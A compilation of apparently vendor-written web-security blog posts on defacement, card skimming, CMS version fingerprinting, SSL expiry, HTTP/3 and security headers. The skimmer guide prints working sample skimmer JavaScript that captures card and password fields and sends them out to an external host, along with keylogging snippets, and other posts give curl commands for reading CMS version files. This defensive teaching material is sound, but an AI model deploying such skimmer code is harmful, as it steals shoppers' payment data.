The attack had been running for 15 days. The page looked exactly right. The form worked. Nothing was broken. A 22-line JavaScript file was quietly copying every card detail entered and sending it somewhere else. 500,000 customers were affected before anyone on the security team knew anything was wrong.

That is what website defacement looks like when it is done properly.

The version nobody pictures

When most people imagine a defaced site, they picture the homepage covered in a hacker's tag. That kind of attack gets fixed before lunch. It is designed to be seen, which is exactly why it gets caught fast.

The attacks that run for weeks are designed not to be noticed. The visual change is there. It is just subtle enough that nobody looks for it, and targeted enough that the wrong people never see it.

What actually changes on a compromised site

Payment overlays are the most damaging. A transparent layer sits over your checkout form, intercepts keystrokes, and sends them off before your own code touches them. The form looks right. It works right. It passes every functional test. The only evidence is fraud hitting your customers a few days later.

Below that, there is a range of changes that are visible if you are specifically looking but easy to miss if you are not. A link in your navigation pointing somewhere you did not add. A banner on a product page with low traffic. Footer text hidden with CSS, stuffed with pharmaceutical or gambling keywords that your visitors never see but search engines index. An exit popup routing people to a different domain.

Then there are the redirects that only fire for mobile visitors, or people arriving from Google. Log in and browse your own site and you see nothing unusual. Your customers see something else entirely.

When did you last look at your checkout page, not to test it but just to look at it, and check whether anything was there that should not be?

Why your current tools miss this

The core problem is baseline. Without a record of what your site looked like before, you have nothing to compare against. Could you identify a transparent overlay on a payment form? A script tag that was not in your source last month? Most people cannot, not because they are careless, but because they have never tried.

Attackers plan for this gap. Cloaking hides changes from logged-in admins and known security tools, so the person most likely to check sees the clean version every time. Supply chain attacks inject code through third-party scripts, so your own files stay untouched. A file integrity check comes back clear because the malicious code is running from someone else's server.

Your uptime monitor sees 200 OK. Your server logs look normal. The attack runs regardless.

What actually catches it

You need to check what your site delivers to a browser, not just what your server sends. For supply chain attacks especially, those are different things. Your server can be completely clean while your visitors are getting something malicious.

ScanTower runs four checks built directly for this class of attack.

Visual defacement monitoring takes a screenshot of your page on every scan and compares it against the stored baseline. Perceptual hashing handles normal dynamic content like rotating ads and live pricing without triggering on it, but a structural change to your layout or an injected element flags immediately. You get an alert with a before/after screenshot so you can see exactly what shifted.

Script monitoring tracks every script loaded by the page. If a script appears that was not there on the previous scan, that is a detection. New scripts appearing without explanation is one of the clearest signals that a supply chain compromise is in progress.

Subresource Integrity checking flags externally hosted scripts that are missing SRI attributes. SRI is how you tell the browser to verify a script before executing it. Without an integrity hash, if the CDN serving that script is ever compromised, your visitors receive the malicious version with no warning and nothing to stop it. A significant number of sites are running dozens of unprotected third-party scripts right now without realising it.

Card skimmer detection runs behavioural analysis in a real browser, looking for JavaScript that intercepts form input and exfiltrates it. It is the check that would have flagged what was running on the British Airways payment page.

None of this requires installation. Point ScanTower at your site and it scans from the outside, exactly as a visitor would see it. The first site is free, no credit card needed.

Worth asking

The BA payment page ran compromised for 15 days because nobody was watching what visitors actually saw. File monitoring, uptime checks, server logs: none of them answer the right question.

The question is not whether your server is responding. It is whether your site looks and behaves the way you built it. If it handles payments, stores user data, or carries your reputation, that is worth knowing.

Quickest way: run a full scan

Point ScanTower's full scan at the URL and it goes straight for the source that actually has the number:

That manifest is the most reliable Joomla tell there is, and the scan then checks the release against published CVEs.

What the meta tag does and doesn't say

View source and you'll find this on almost every Joomla site:

<meta name='generator' content='Joomla! - Open Source Content Management' />

Useful for confirming it's Joomla. Useless for the version - there isn't one in there.

Where the version actually leaks

The reliable spot, readable without logging in despite the path, is the install manifest:

curl -s https://example.com/administrator/manifests/files/joomla.xml | grep -i version

That returns a <version> tag with the exact release. On Joomla 4 and 5 the /language/en-GB/langmetadata.xml file is a good backup, and older sites often still have /README.txt with the version at the top.

Why confidence isn't 100

A careful admin can block access to the manifest and language files. When they do, you fall back to fingerprinting the core JavaScript and template behaviour - less precise, but enough for a version range. The full scan handles that fallback automatically.

Why the version matters: CVEs

Joomla's version is really one question - has it been patched? A few that have done real damage:

CVE-2023-23752 is the one to take seriously today - it was mass-scanned within days and hands attackers the site's database credentials with a single unauthenticated request. And note that Joomla 3.x is end of life, so anything still on it gets no fixes. Confirm the exact range against the Joomla Security Centre before acting.

If it's your site

• Update. Use the built-in Joomla Updater (System → Update). On Joomla 3, plan the move to 5 - it's past EOL.
• Block the manifest and language XML files, or at least don't leave them world-readable.
• Re-scan to confirm the version moved and the CVE flags cleared.

While you're at it, the security headers checker and HTTP security checker catch the misconfigurations that tend to come with an out-of-date CMS. On something else? Same write-ups for Drupal, Ghost and WordPress.

Quickest way: run a full scan

Point ScanTower's full scan at the URL. The technology section reads what Drupal exposes:

Note the value: Drupal 10, not 10.2.4. That's by design - the meta tag only carries the major version. The scan then tries to pin down the exact release from other signals and checks it against published CVEs, which is where it earns its keep.

Read it yourself

Drupal announces the major version in two places. The HTML head:

<meta name='Generator' content='Drupal 10 (https://www.drupal.org)' />

...and an HTTP response header. Grab both in one line:

curl -sI https://example.com/ | grep -i x-generator

Getting the exact point release

For the full version number, the old reliable is the changelog: /CHANGELOG.txt on Drupal 7, or /core/CHANGELOG.txt on 8 and later - the top line lists the current release. Plenty of hardened sites block it, in which case you're back to fingerprinting core asset hashes. That's exactly the fallback the full scan automates.

Why confidence isn't 100

The generator tag and X-Generator header are both self-reported and easy to strip - Drupal even has a "Prevent Version Disclosure" module for it. Present, it's usually honest; absent, you lean on the changelog and asset fingerprints instead.

Why the version matters: CVEs

Drupal has a history of fast-weaponised core bugs, so the version is really one question: is this site patched? Some of the big ones:

The Drupalgeddon bugs were exploited within hours of disclosure, and Drupal 7 reached end of life in January 2025 - if a site is still on 7, it gets no more security fixes at all. Confirm the exact affected range against the official advisory before acting on any of these.

If it's your site

• Update. composer update 'drupal/core-*' then run database updates. On Drupal 7, plan a migration to 10 or 11 - it's past EOL.
• Hide the version with the Prevent Version Disclosure module and block /CHANGELOG.txt.
• Re-scan to confirm the version moved and the CVE flags cleared.

While you're in there, the security headers checker and HTTP security checker catch the misconfigurations that tend to ride along with an out-of-date CMS. Running something else? We've got the same write-ups for Joomla, Ghost and WordPress.

Quickest way: run a full scan

Point ScanTower's full scan at the URL. The technology section reads the version straight off the page:

It doesn't stop at the number. Once it knows you're on Ghost 5.120, it checks that release against published CVEs and flags the ones that apply - which is the part that actually matters.

Read the meta tag yourself

Want to see it directly? View source and search for generator, or use one line in the terminal:

curl -s https://example.com/ | grep -i generator

On a stock install you'll find this in the <head>:

<meta name='generator' content='Ghost 5.120' />

Why confidence is 95, not 100

The tag is self-reported. A theme can strip it, and an operator can fake the version up or down. It's accurate most of the time because most people never touch it - but if the answer matters, confirm it against something the site can't edit.

When the tag is missing

Security-aware sites remove it. Ghost still leaves tells: the versioned Portal script (portal.min.js), the /ghost/ admin and /ghost/api/ paths, default Casper/Source theme assets, and /members/ endpoints. Stacked together they'll usually pin down a version range. The full scan checks these automatically.

Why the version matters: CVEs

A version number is really one question: has the site been patched? Ghost fixes things fast, but self-hosters fall behind. Using 5.120 as the example, here are real issues that hit that part of the 5.x line - always confirm the exact range against the official advisory:

5.120 sits inside more than one of these windows. None are one-click takeovers, but an XSS that reaches an admin session is how a "low-risk" finding becomes a full compromise.

If it's your site

• Update. ghost update on self-hosts; Ghost(Pro) is already current. See the changelog.
• Lock down /ghost/ with 2FA and, ideally, IP restrictions.
• Re-scan to confirm the version moved and the CVE flags cleared.

While you're at it, the security headers checker and HTTP security checker catch the misconfigurations that often ride along with an out-of-date CMS. Run the full scan and let it read the tag, check the fingerprints, and line it up against the CVE history in one pass.

SSL certificates encrypt data between servers and visitors, protect sensitive information such as login credentials or payment details, and validate the authenticity of your website. When a certificate expires, browsers display warnings, which can cause users to lose trust, interrupt transactions, and even affect SEO rankings. Monitoring SSL expiration ensures uninterrupted access, maintains user trust, and reduces compliance risks.

How to Check SSL Certificate Expiration

1. Using Your Browser

Modern browsers allow quick inspection of SSL certificates:

• Click the padlock icon in the address bar.
• Select \"Connection is secure\" or \"Certificate\" details.
• Check the \"Valid from\" and \"Valid until\" dates.

While convenient, this method is not scalable for multiple sites.

2. Using Command-Line Tools

Command-line tools provide detailed certificate information:

openssl s_client -connect example.com:443 -servername example.com < /dev/null | openssl x509 -noout -dates

This shows the certificate's notBefore and notAfter dates.

On Windows, PowerShell can be used:

Get-ChildItem -Path Cert:\\LocalMachine\\My | Where-Object {$_.NotAfter -lt (Get-Date).AddDays(30)}

This lists certificates expiring within 30 days.

3. Using Online SSL Checkers

Online tools make it easy to verify expiration dates and diagnose certificate issues:

• ScanTower Free SSL Checker – Fast, accurate certificate inspection with expiration details, chain validation, hostname matching, and security-grade reporting.
• SSL Labs – Full deep-dive report on certificate configuration, chain structure, supported ciphers, and TLS settings.
• Why No Padlock – Useful for identifying insecure elements such as mixed content and incomplete certificate chains.

4. Automated Monitoring Solutions

Manual checks are error-prone. Automated monitoring platforms, such as ScanTower, provide:

• Continuous monitoring of multiple domains and servers.
• Alerts well before certificates expire.
• Tracking of full certificate chains and TLS configuration drift.
• DevOps-friendly workflows with integrations and API support.

Best Practices for SSL Certificate Management

• Set proactive alerts: Receive notifications at least 30 days before expiration.
• Automate renewal: Use ACME protocol or vendor automation.
• Maintain an inventory: Track all certificates, including intermediate and root certificates.
• Regularly validate: Check certificate configuration, supported ciphers, and TLS versions.
• Document renewal procedures: Ensure your team knows manual renewal steps in case automation fails.

Conclusion

SSL certificate expiration leads to downtime, security warnings, and broken user trust. Using browser tools, command-line checks, online scanners, and automated monitoring services like ScanTower gives you complete visibility and ensures your certificates never lapse.

HTTP/3 is the first major shift in web transport since HTTP/2, replacing TCP with QUIC over UDP. The goal is simple: faster, more resilient connections. For platforms like ScanTower that monitor uptime, TLS posture, and network behavior across millions of endpoints, HTTP/3 changes how reliability and performance are interpreted.

Why HTTP/3 Exists

HTTP/2 solved head-of-line blocking at the application layer but could not escape TCP limitations. QUIC runs on UDP, recreates the transport stack in user space, and provides multiplexing without relying on TCP recovery mechanisms. That shift fixes bottlenecks that were never going away on their own.

Key Benefits

1. Faster Handshakes

QUIC merges the TLS handshake with transport negotiation. For repeat connections, it can hit 0-RTT. That is a major win for latency-sensitive applications and high-churn connection scenarios.

2. No More TCP Head-of-Line Blocking

Multiplexing is handled inside QUIC, so packet loss on one stream does not block others. This keeps throughput stable even on noisy networks.

3. Better Loss Recovery

QUIC implements its own congestion control in user space. It can iterate faster than TCP, adapt to network conditions, and deploy improvements without waiting on kernel updates.

4. Encrypted by Default

All QUIC traffic is encrypted. Middleboxes cannot interfere with stream management or flow control. This removes a class of brittle, protocol-breaking behavior.

5. More Mobile-Friendly

Connection IDs replace the traditional 4-tuple (IP and port). If the client switches networks - cellular to Wi-Fi - the session persists. That is a big win for mobile-heavy traffic.

Operational Drawbacks

1. UDP Is Not Always Treated Well

Some enterprise networks throttle or shape UDP aggressively. That wrecks HTTP/3 performance. Public internet behavior has improved, but corporate networks lag behind.

2. Observability Is Harder

Because QUIC encrypts almost everything, network-level tools lose visibility. Packet capture, traffic classification, and passive monitoring become more challenging. Platforms like ScanTower account for this by probing endpoints rather than relying on passive techniques.

3. More CPU Overhead

User-space crypto and transport logic are expensive. Servers handling massive concurrent connections see higher CPU loads compared to optimized TCP stacks.

4. Middlebox Incompatibilities

Some legacy firewalls, DDoS appliances, and IDS tools do not understand QUIC. Deployments can get blocked or silently downgraded to HTTP/2.

5. Complex Server Implementations

QUIC stacks are newer and less mature. Bugs can surface under extreme concurrency or during rapid version updates.

Impact on ScanTower Monitoring

1. Protocol Downgrade Detection

Sites that advertise HTTP/3 but fall back to HTTP/2 due to network interference need visibility. ScanTower can surface these mismatches so teams know when deployments are not working as intended.

2. TLS and QUIC Fingerprinting

HTTP/3 shifts fingerprinting from TCP to QUIC. ScanTower's active scanning validates cipher suites, ALPN negotiation, and QUIC version support.

3. Latency and Performance Analysis

QUIC behavior under packet loss is different enough that performance checks for HTTP/3 endpoints need dedicated metrics. ScanTower provides protocol-aware measurements for accurate reporting.

Conclusion

HTTP/3 is a strong upgrade. Faster handshakes, better resilience, and a cleaner transport design make it compelling for modern sites. But it is not perfect. UDP-hostile networks, visibility challenges, and higher CPU usage are real concerns. For organizations using ScanTower, HTTP/3 adds new dimensions to protocol verification and performance monitoring.

Digital card skimmers, also known as formjacking or web skimming, have become one of the most lucrative attacks targeting e-commerce sites. Unlike physical card skimmers attached to ATMs, these attacks inject malicious JavaScript into checkout pages to steal credit card data as customers type it in.

Between 2022 and 2024, digital skimming attacks increased by 300%, affecting major retailers and small businesses alike. The average breach costs businesses $1.3 million in direct losses, regulatory fines, and reputational damage. Understanding how these attacks work is essential for protecting your customers and business.

How Card Skimmer Attacks Work

Modern card skimming attacks follow a predictable pattern:

1. Initial Compromise: Attackers gain access to your website through vulnerable plugins, compromised admin accounts, or supply chain attacks
2. Skimmer Injection: Malicious JavaScript is injected into checkout pages or payment forms
3. Data Collection: The skimmer captures form data as customers enter payment information
4. Data Exfiltration: Stolen data is transmitted to attacker-controlled servers
5. Persistence: Attackers maintain access through backdoors to re-inject skimmers if removed

Common Injection Points

Skimmers can be injected in multiple locations:

• Inline JavaScript: Directly embedded in HTML pages
• External Scripts: Hosted on compromised third-party domains or attacker infrastructure
• Database-Stored Content: Injected into database fields that render on checkout pages
• Third-Party Dependencies: Compromised npm packages, WordPress plugins, or Magento extensions
• Tag Managers: Malicious tags added to Google Tag Manager or similar platforms

Anatomy of a Modern Card Skimmer

A typical 2024 card skimmer looks like this:

(function() {
  var exfil = function(data) {
    var img = new Image();
    img.src = 'https://legitimate-analytics.com/track?' + btoa(JSON.stringify(data));
  };
  
  document.addEventListener('submit', function(e) {
    if (e.target.querySelector('input[type="password"]') || 
        e.target.querySelector('input[name*="card"]')) {
      var formData = {};
      new FormData(e.target).forEach((value, key) => {
        formData[key] = value;
      });
      exfil(formData);
    }
  }, true);
})();

This skimmer:

• Runs immediately in an anonymous function to avoid detection
• Disguises exfiltration as an analytics tracking pixel
• Captures all form data when forms containing passwords or card fields are submitted
• Base64 encodes stolen data to hide it in URL parameters
• Uses legitimate-looking domain names to evade blocklists

Advanced Skimmer Techniques

Keylogging and Input Monitoring

Rather than waiting for form submission, advanced skimmers monitor individual keystrokes:

document.addEventListener('input', function(e) {
  if (e.target.matches('[name*="card"], [name*="cvv"]')) {
    sendData(e.target.name, e.target.value);
  }
});

This approach captures data even if users abandon the checkout process before submission.

DOM Mutation Observers

Some skimmers use MutationObserver to detect when payment forms are dynamically added to the page:

new MutationObserver(function(mutations) {
  mutations.forEach(function(mutation) {
    mutation.addedNodes.forEach(function(node) {
      if (node.querySelector && node.querySelector('input[type="password"]')) {
        attachSkimmer(node);
      }
    });
  });
}).observe(document.body, {childList: true, subtree: true});

This ensures the skimmer activates even on single-page applications that load payment forms dynamically.

Evasion Techniques

Modern skimmers employ sophisticated evasion:

• Geofencing: Only activating for specific countries or IP ranges to avoid security researchers
• Time-based Activation: Remaining dormant for days or weeks before activating
• Conditional Loading: Only loading on checkout pages to reduce detection surface
• Code Obfuscation: Heavy obfuscation with anti-debugging checks
• Legitimate Service Abuse: Using legitimate CDNs and analytics services for exfiltration

Detection Strategies

Subresource Integrity (SRI)

SRI ensures external scripts haven't been tampered with:

<script src="https://cdn.example.com/checkout.js" 
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
  crossorigin="anonymous"></script>

If the script content changes, browsers refuse to execute it. Generate SRI hashes using:

openssl dgst -sha384 -binary checkout.js | openssl base64 -A

Content Security Policy (CSP)

Strict CSP prevents unauthorized script execution and data exfiltration:

Content-Security-Policy: 
  default-src 'self'; 
  script-src 'self' https://trusted-cdn.com; 
  connect-src 'self' https://api.yoursite.com; 
  form-action 'self';

This policy:

• Only allows scripts from your domain and specific CDNs
• Restricts XHR/fetch requests to your API
• Prevents form submissions to external domains

File Integrity Monitoring (FIM)

Automated monitoring detects unauthorized file modifications:

#!/bin/bash
find /var/www/html -type f -name "*.js" -o -name "*.php" | 
  xargs sha256sum > checksums.txt

# Compare against known-good checksums
diff checksums.txt checksums-baseline.txt

Run this hourly via cron and alert on any changes to critical files.

JavaScript Behavior Analysis

Monitor for suspicious JavaScript behaviors:

• Event listeners on form inputs or submission
• Network requests to unexpected domains
• Base64 encoding of form data
• Dynamic Image() creation for data exfiltration
• localStorage or cookie manipulation

Tools like Observatory by Mozilla and CSP Evaluator can help identify risky scripts.

Third-Party Script Auditing

Regularly audit all external scripts loaded on checkout pages:

// Extract all script sources
document.querySelectorAll('script[src]').forEach(script => {
  console.log(script.src);
});

Maintain an allowlist of approved scripts and alert on any additions.

Prevention Best Practices

Minimize Third-Party Dependencies

Every third-party script is a potential attack vector. Eliminate unnecessary scripts from checkout pages:

• Remove marketing pixels and analytics from payment pages
• Self-host critical scripts rather than loading from CDNs
• Use server-side analytics instead of client-side tracking
• Disable unnecessary WordPress plugins on checkout pages

Implement Tokenization

Payment tokenization prevents sensitive data from touching your website:

• Use hosted payment forms (Stripe Checkout, PayPal Buttons)
• Implement client-side tokenization (Stripe Elements, Braintree Drop-in)
• Adopt 3D Secure 2.0 for additional authentication

With tokenization, card data goes directly to the payment processor, bypassing your website entirely.

Network Segmentation

Isolate your payment infrastructure:

• Host checkout pages on separate subdomains
• Use different servers for checkout vs. marketing site
• Implement strict firewall rules allowing only necessary connections
• Restrict admin access to checkout page files

Regular Security Audits

Conduct quarterly security assessments:

• Penetration testing focused on payment flows
• Code review of checkout page changes
• Third-party dependency audits
• Plugin and theme vulnerability scanning
• Admin account permission reviews

E-Commerce Platform-Specific Guidance

WooCommerce

// Disable scripts on checkout
add_action('wp_enqueue_scripts', function() {
  if (is_checkout()) {
    wp_dequeue_script('non-essential-script');
    wp_dequeue_script('marketing-pixel');
  }
});

Shopify

Shopify's hosted checkout provides built-in protection, but custom storefronts need additional security:

• Use Shopify's Storefront API with client-side tokenization
• Implement CSP headers on custom checkout pages
• Enable Shopify's built-in fraud analysis

Magento

Magento sites are frequent targets. Critical protections:

• Keep Magento core and extensions updated
• Enable two-factor authentication for all admin accounts
• Implement Magento Security Scan Tool
• Use Magento's built-in CSP module
• Subscribe to Magento security alerts

Incident Response for Skimmer Infections

If you discover a card skimmer on your site:

1. Immediate Containment: Take checkout functionality offline or redirect to a clean backup
2. Preserve Evidence: Create complete backups before making any changes
3. Notify Stakeholders: Inform payment processors, acquiring banks, and potentially affected customers
4. Forensic Analysis: Determine infection vector, dwell time, and data accessed
5. Complete Remediation: Remove all malicious code, backdoors, and unauthorized admin accounts
6. Regulatory Compliance: File required data breach notifications (PCI DSS, GDPR, state laws)
7. Enhanced Monitoring: Implement continuous monitoring for at least 90 days post-incident

PCI DSS Compliance Considerations

Card skimmer prevention aligns with PCI DSS requirements:

• Requirement 6.5: Develop secure applications (including secure coding practices)
• Requirement 6.6: Ensure web applications are protected (via WAF or code review)
• Requirement 10: Track and monitor all access to network resources
• Requirement 11: Regularly test security systems (including vulnerability scanning)

Implementing the protections described in this guide helps achieve PCI DSS compliance while protecting customers.

Emerging Threats and Future Outlook

Card skimming techniques continue evolving:

• Supply Chain Attacks: Compromising legitimate third-party scripts used by thousands of sites
• Fileless Skimmers: Loading entirely from memory without touching disk
• Magecart-as-a-Service: Organized crime groups offering skimmer deployment services
• Mobile App Skimmers: Targeting mobile payment apps and in-app purchases

Staying ahead requires continuous vigilance, regular security updates, and defense-in-depth strategies.

Conclusion

Preventing card skimmers requires a multi-layered approach combining technical controls, process improvements, and continuous monitoring. By implementing CSP, SRI, file integrity monitoring, and minimizing third-party dependencies, you can significantly reduce your risk.

Remember: the cost of prevention is always less than the cost of a breach. Invest in security now to protect your customers and your business reputation.

HTTP security headers are your first line of defense against many common web attacks. These response headers instruct browsers how to behave when handling your site's content, providing protection against cross-site scripting (XSS), clickjacking, code injection, and information leakage.

Despite their importance, research shows that over 95% of websites fail to implement even basic security headers correctly. This guide provides a comprehensive overview of essential security headers and how to implement them effectively.

Content Security Policy (CSP)

Content Security Policy is the most powerful—and most complex—security header available. CSP defines approved sources of content that browsers can load on your pages, preventing attackers from injecting malicious scripts even if they find an XSS vulnerability.

CSP Directives

A comprehensive CSP policy includes multiple directives:

Content-Security-Policy: default-src 'self'; 
  script-src 'self' https://cdn.example.com; 
  style-src 'self' 'unsafe-inline'; 
  img-src 'self' data: https:; 
  font-src 'self' https://fonts.gstatic.com; 
  connect-src 'self' https://api.example.com; 
  frame-ancestors 'none'; 
  base-uri 'self'; 
  form-action 'self';

Key CSP directives explained:

• default-src: Fallback for other directives. Set to 'self' to only allow resources from your domain
• script-src: Controls which scripts can execute. Avoid 'unsafe-inline' and 'unsafe-eval' when possible
• style-src: Controls stylesheet sources. Many sites need 'unsafe-inline' for third-party widgets
• img-src: Controls image sources. Use https: to allow any HTTPS image
• connect-src: Controls fetch(), XMLHttpRequest, WebSocket, and EventSource connections
• frame-ancestors: Replaces X-Frame-Options, controls who can embed your page in frames
• base-uri: Restricts the URLs that can be used in a page's <base> element
• form-action: Restricts the URLs that forms can submit to

Implementing CSP Without Breaking Your Site

CSP implementation should be gradual:

1. Report-Only Mode: Deploy CSP in report-only mode first:
   Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
2. Collect Violations: Monitor violation reports for 1-2 weeks to identify legitimate resources being blocked
3. Refine Policy: Adjust your policy to allow necessary resources while maintaining security
4. Enforce Policy: Switch from Report-Only to enforcement mode
5. Continuous Monitoring: Keep monitoring reports to catch new violations

CSP Level 3 and Nonces

Modern CSP implementations use nonces (cryptographic tokens) instead of 'unsafe-inline':

Content-Security-Policy: script-src 'nonce-{RANDOM}';

<script nonce="{RANDOM}">
  // Your inline script
</script>

The nonce must be randomly generated for each page load and match between the header and script tag. This allows specific inline scripts while blocking injected ones.

HTTP Strict Transport Security (HSTS)

HSTS forces browsers to only connect to your site over HTTPS, preventing protocol downgrade attacks and cookie hijacking.

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Parameters explained:

• max-age: Duration (seconds) the browser should remember to only use HTTPS. 31536000 = 1 year
• includeSubDomains: Applies policy to all subdomains. Only use if all subdomains support HTTPS
• preload: Allows inclusion in browser HSTS preload lists for first-visit protection

HSTS Preload List

The HSTS preload list is a hardcoded list of domains built into browsers. To be included:

1. Serve a valid certificate
2. Redirect all HTTP traffic to HTTPS
3. Serve HSTS header on all HTTPS responses with max-age of at least 31536000 seconds
4. Include the 'preload' directive
5. Submit your domain to hstspreload.org

Warning: Preload list inclusion is difficult to reverse. Ensure all subdomains support HTTPS before submission.

X-Content-Type-Options

Prevents MIME type sniffing, where browsers try to detect content type by analyzing file contents rather than trusting the Content-Type header.

X-Content-Type-Options: nosniff

Without this header, an attacker could upload a malicious file disguised as an image, and the browser might execute it as JavaScript. Always include this header.

X-Frame-Options and Frame-Ancestors

Protects against clickjacking attacks where your site is embedded in an invisible iframe to trick users into clicking malicious elements.

X-Frame-Options: DENY

Options:

• DENY: Page cannot be displayed in a frame under any circumstances
• SAMEORIGIN: Page can be framed only by pages on the same origin

Modern sites should use CSP's frame-ancestors directive instead, which provides more granular control:

Content-Security-Policy: frame-ancestors 'none';

Referrer-Policy

Controls how much referrer information is sent when navigating away from your site.

Referrer-Policy: strict-origin-when-cross-origin

Policy options (from least to most restrictive):

• unsafe-url: Full URL sent in all cases (not recommended)
• origin-when-cross-origin: Full URL for same-origin, origin only for cross-origin
• strict-origin-when-cross-origin: Full URL for same-origin HTTPS, origin only for cross-origin HTTPS, nothing for HTTPS→HTTP (recommended)
• no-referrer: Never send referrer information (breaks some analytics)

Permissions-Policy (formerly Feature-Policy)

Controls which browser features and APIs can be used by your site and embedded content.

Permissions-Policy: geolocation=(), microphone=(), camera=()

Common features to restrict:

• geolocation: GPS location access
• microphone: Microphone access
• camera: Camera access
• payment: Payment Request API
• usb: WebUSB API
• magnetometer: Magnetometer sensor

Syntax allows allowlists: Permissions-Policy: geolocation=(self "https://maps.example.com")

Cross-Origin-Embedder-Policy and Cross-Origin-Opener-Policy

These headers enable 'cross-origin isolation', required for powerful features like SharedArrayBuffer:

Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin

Warning: These headers can break embedded content and pop-ups. Test thoroughly before deployment.

Implementation Across Platforms

Apache (.htaccess)

<IfModule mod_headers.c>
  Header always set X-Frame-Options "SAMEORIGIN"
  Header always set X-Content-Type-Options "nosniff"
  Header always set Referrer-Policy "strict-origin-when-cross-origin"
  Header always set Permissions-Policy "geolocation=(), microphone=(), camera=()"
  Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"
  Header always set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'"
</IfModule>

Nginx

add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'" always;

WordPress (functions.php)

function add_security_headers() {
  header('X-Frame-Options: SAMEORIGIN');
  header('X-Content-Type-Options: nosniff');
  header('Referrer-Policy: strict-origin-when-cross-origin');
  header('Permissions-Policy: geolocation=(), microphone=(), camera=()');
}
add_action('send_headers', 'add_security_headers');

Testing Your Security Headers

Use these tools to validate your implementation:

• securityheaders.com: Comprehensive header analysis with letter grades
• Mozilla Observatory: Detailed security recommendations
• Browser DevTools: Network tab shows all response headers
• csp-evaluator.withgoogle.com: Specifically tests CSP policies

Common Pitfalls and Solutions

CSP Breaking Third-Party Widgets

Many third-party services (analytics, ads, chat widgets) require 'unsafe-inline' or 'unsafe-eval'. Solutions:

• Use nonces for your own inline scripts
• Load third-party scripts from their CDN domains (add to script-src)
• Consider switching to privacy-respecting alternatives that support strict CSP

HSTS Locking Out Users

If you deploy HSTS then lose your SSL certificate, users cannot access your site. Always:

• Test with low max-age values first (300 seconds)
• Ensure your certificate renewal process is automated
• Have monitoring in place to alert on certificate expiration

Breaking Mobile Apps

Mobile apps that embed webviews may be affected by strict security headers. Test all native apps after header deployment.

Monitoring and Maintenance

Security headers require ongoing maintenance:

• Monitor CSP violation reports weekly
• Review headers after adding new third-party services
• Test headers after platform upgrades
• Keep policies updated as browser features evolve
• Audit header effectiveness quarterly

Conclusion

Security headers are essential for modern web security. While implementation can be challenging, particularly for CSP, the protection they provide is worth the effort. Start with basic headers (X-Frame-Options, X-Content-Type-Options, HSTS) and gradually implement more advanced policies like CSP and Permissions-Policy.

Remember: security headers are defense in depth—they protect against exploitation even when vulnerabilities exist in your code. They should be part of every website's security strategy.